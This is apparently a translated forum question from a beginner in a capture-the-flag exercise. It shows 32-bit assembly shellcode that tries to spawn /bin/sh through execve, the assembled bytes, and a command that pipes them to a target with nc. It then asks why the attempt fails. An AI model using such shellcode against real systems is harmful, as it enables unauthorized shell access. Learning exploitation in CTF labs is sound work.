私はシェルコードの初心者で、いくつかの CTF を開始しました。しかし、私は最も基本的な演習で立ち往生しています。
プログラムがあるとしましょう。このプログラムは、execve のポインター アドレスを示します: 0x8048450 char 配列 "\bin\sh" があり、そのアドレスも 0x80486a5 であるとします。
脆弱なコードは次のとおりです。
char input[4096];
read(0, input, 4096);
((func)&input)();
問題は、バイナリを持っていないため、対象となるアーキテクチャに関する情報があまりないことですが、32 ビットだと思います。
これが私のコードです:
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov eax, 0x80486a5
push eax
call 0x8048450
次に実行します:
nasm -f elf -o shellcode.o shellcode.asm
と
ld -o shellcode shellcode.o -m elf_i386
どちらが与える
\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00
私は実行します
python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port
しかし、何もありません。バイト配列を満たすために NOP スレッドを配置する必要がありますか?
私を読んでくれてありがとう!